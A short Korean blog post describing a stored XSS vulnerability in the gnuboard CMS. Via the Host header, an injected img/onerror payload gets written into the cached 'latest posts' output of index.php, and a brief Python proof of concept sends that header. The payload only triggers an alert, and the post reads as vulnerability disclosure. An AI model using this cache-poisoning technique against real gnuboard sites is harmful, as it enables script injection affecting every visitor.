2017년 11월 21일 화요일

gnuboard stored xss

예전에 포스팅 했던 취약점인데, 취약점이 워낙 재밌게 터지고 파급력 또한 좋은거 같아서 이 쪽 블로그에 옮겨봅니다.

--


일단 index.php소스를 봐줍니다 



latest 함수로  echo를 시켜 주는걸 볼수가 있는데 평소에는 아 여기서 취약점이 터지겠어 라는 생각으로 넘겼지만 돈이 급하고 취약점이 급하다 보니 걍 구조를 보게 되었습니다. 



함수를 보시게 되면 캐시 파일이 존재 하면 그걸 include 시키고 존재 하지 않는다면 캐시 파일을 생성한후 그걸 include를 시켜줍니다.
이때 캐시 파일을 쓸때 $latest_skin_url 변수의 값을 넣어주게 되는데 latest_skin_url 변수는 G5_SKIN_URL 이 값이 담기게 됩니다 
G5_SKIN_URL 값은 common.php파일의 g5_path() 함수에의해 host헤더 값이 담기게 됩니다.

익플 방법은 일단 캐시를 초기화 시켜주기 위해 게시글을 하나 쓴뒤, 그 다음 index.php로 host에  "><img src=1 onerror="alert('XSS');">하시면 됩니다 






PoC : 
import requests
from urllib import quote

header = {"Host":"\"><img src=1 onerror=\"alert('XSS');\">"}

url = "site_url"

r = requests.get(url, headers=header)
print r.text